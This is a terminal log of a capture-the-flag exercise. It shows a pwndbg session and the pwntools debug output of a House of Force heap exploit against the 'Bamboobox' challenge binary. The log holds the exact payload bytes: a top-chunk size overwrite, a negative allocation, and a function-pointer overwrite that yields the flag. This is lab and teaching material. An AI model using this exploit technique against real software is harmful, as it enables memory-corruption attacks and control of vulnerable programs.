pwndbg> r Starting program: /root/CTF-PWN/House Of Force/PWN There is a box with magic what do you want to do in the box ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:2 Please enter the length of item name:10 Please enter the name of item:aaaaa ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:2 Please enter the length of item name:20 Please enter the name of item:bbbbb ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:^C Program received signal SIGINT, Interrupt. 0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x0 RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x8 RDI 0x0 RSI 0x7fffffffded0 —▸ 0x7fffffff0a32 ◂— 0x0 R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R9 0xc R10 0x0 R11 0x246 R12 0x4007a0 (_start) ◂— xor ebp, ebp R13 0x7fffffffdfc0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdee0 —▸ 0x400ee0 (__libc_csu_init) ◂— push r15 RSP 0x7fffffffdeb8 —▸ 0x400e5d (main+166) ◂— lea rax, [rbp - 0x10] RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff ───────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────── ► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff 0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399> ↓ 0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8] 0x7ffff7b043a0 <read+80> neg eax 0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax 0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff 0x7ffff7b043a9 <read+89> ret 0x7ffff7b043aa nop word ptr [rax + rax] 0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740> 0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9> ↓ 0x7ffff7b043c9 <write+25> sub rsp, 8 ───────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdeb8 —▸ 0x400e5d (main+166) ◂— lea rax, [rbp - 0x10] 01:0008│ 0x7fffffffdec0 ◂— 0x200400ee0 02:0010│ 0x7fffffffdec8 —▸ 0x603010 —▸ 0x400896 (hello_message) ◂— push rbp 03:0018│ rsi 0x7fffffffded0 —▸ 0x7fffffff0a32 ◂— 0x0 04:0020│ 0x7fffffffded8 ◂— 0x9478adcd5746ce00 05:0028│ rbp 0x7fffffffdee0 —▸ 0x400ee0 (__libc_csu_init) ◂— push r15 06:0030│ 0x7fffffffdee8 —▸ 0x7ffff7a2d840 (__libc_start_main+240) ◂— mov edi, eax 07:0038│ 0x7fffffffdef0 ◂— 0x0 ─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► f 07ffff7b04360 __read_nocancel+7 f 1400e5d main+166 f 27ffff7a2d840 __libc_start_main+240
root@ubuntu:~/CTF-PWN/House Of Force# python exp.py [+] Starting local process './PWN': pid 23325 [DEBUG] Received 0x11c bytes: 'There is a box with magic\n' 'what do you want to do in the box\n' '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x25 bytes: 'Please enter the length of item name:' [DEBUG] Sent 0x3 bytes: '48\n' [DEBUG] Received 0x1e bytes: 'Please enter the name of item:' [DEBUG] Sent 0x5 bytes: 'aaaa\n' [DEBUG] Received 0xe0 bytes: '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x1f bytes: 'Please enter the index of item:' [DEBUG] Sent 0x2 bytes: '0\n' [DEBUG] Received 0x25 bytes: 'Please enter the length of item name:' [DEBUG] Sent 0x3 bytes: '64\n' [DEBUG] Received 0x26 bytes: 'Please enter the new name of the item:' [DEBUG] Sent 0x41 bytes: 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000030 31 31 31 31 31 31 31 31 ff ff ff ff ff ff ff ff │1111│1111│····│····│ 00000040 0a │·│ 00000041 [DEBUG] Received 0x1d2 bytes: '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:invaild choice!!!\n' '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x25 bytes: 'Please enter the length of item name:' [DEBUG] Sent 0x5 bytes: '-112\n' [DEBUG] Received 0xfe bytes: 'Please enter the name of item:----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:' [DEBUG] Sent 0x5 bytes: '1234\n' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x117 bytes: 'invaild choice!!!\n' '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:Please enter the length of item name:' [DEBUG] Sent 0x3 bytes: '16\n' [DEBUG] Received 0x1e bytes: 'Please enter the name of item:' [DEBUG] Sent 0x11 bytes: 00000000 49 0d 40 00 00 00 00 00 49 0d 40 00 00 00 00 00 │I·@·│····│I·@·│····│ 00000010 0a │·│ 00000011 [DEBUG] Received 0x1d2 bytes: '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:invaild choice!!!\n' '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:' [DEBUG] Sent 0x2 bytes: '5\n' [*] Switching to interactive mode ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:invaild choice!!! ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:[*] Process './PWN' stopped with exit code 0 (pid 23325) [DEBUG] Received 0x15 bytes: 'flag{house_of_force}\n' flag{house_of_force} [*] Got EOF while reading in interactive $